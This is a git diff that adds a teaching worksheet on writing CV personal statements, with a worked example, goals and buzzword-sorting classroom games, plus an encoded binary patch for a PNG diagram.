+## Write a Personal Statement Task Revision + +
                      +Work on your revision on a document or a piece of paper. +
                      + +--- + +## ✅ Worksheet worked example + +## Personal statement + +### 🧩 What is the FORMAT? + +- 1 paragraph +- No personal pronouns +- 50 to 150 words +- At the top of a CV straight after your name and contact information + +Career changer with ten years solid experience in original field, but latterly caught the coding bug. Spent the last two years working on software development obsessively. Build real products as a volunteer in small teams every week. Building with TypeScript, React, Node, Deno, Rust, GraphQL - just name it. Automating the deployment of containerised applications to AWS just for fun. Linked portfolio is stuffed with original, inventive, useful passion projects. Excited to learn more. More more more! + +### 🎯 What are the GOALS? + +A great personal statement grabs you from the first line. The point is to make you, particularly you, stand out from the hundreds of people your reader is sifting through. This is your best chance to clearly connect your specific personal achievements with some of the skills listed on the job description in a short, clear, paragraph. Your reader comes away thinking "I want to interview _this_ one!" An effective personal statement is confident, distinctive, and shares just enough to make you want to **read the rest of the CV**. + +### 🧪 And how do we TEST? + +#### Make a game + +_My suggestions: We are building confidence and expression here. We don't need to grade these attempts, we need to stage opportunities for the learner to evaluate effective and ineffective texts, including but not limited to their own._ + +##### 🪡 Energiser: Haystack + +Take the names off everyone's personal statement and mix them up (and add in some AI generated ones). Now try to match the statement to the person. The person who is the most easily identifiable wins. + +##### ⏲️ Energiser: Play recruiter + +Give everyone a job description and a big stack of CVs. Set a timer for 5 minutes. You must shortlist to three candidates. If your candidates are the "best match", you win! + +##### 💡 Energiser: Buzz off! + +(Sorting words is a familiar strategy for identifying categories. Categorising is a key learning activity. It helps us organise and structure our understanding.) + +1. First exercise: sort the words into two groups: expressive and obscuring / straightforward and jargon etc + + +> Dynamic, use, passionate, software engineer, show, care, build, team player, utilize, make, showcase, work together, leverage, detail-oriented, dedication, developer + +
                      + +Example solution + +### buzzwords + +Dynamic, passionate, team player, utilize, showcase, leverage, detail-oriented, dedication + +### expressive words + +use, software engineer, show, care, build, make, work together, developer + +
                      + +2. Second exercise, now you have identified them, highlight the buzzwords + +"As a dynamic and passionate junior developer, I am an enthusiastic team player dedicated to utilizing my detail-oriented approach to showcase my skills. With an unwavering dedication to leveraging cutting-edge technologies, I strive to bring innovative solutions to the table. My commitment to excellence allows me to leverage my expertise, showcasing a unique ability to tackle complex challenges with meticulous attention to detail. I am eager to leverage my passion for programming and dedication to continuous learning, making me a valuable asset to any dynamic team environment." + +3. Third exercise: collectively revise this statement to reduce the number of buzzwords. diff --git a/instructional-design/strategies.png b/instructional-design/strategies.png new file mode 100644 index 0000000000000000000000000000000000000000..d6ad2b867d9eebedd840b30bb0a21d94c3a66990 GIT binary patch literal 177461 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 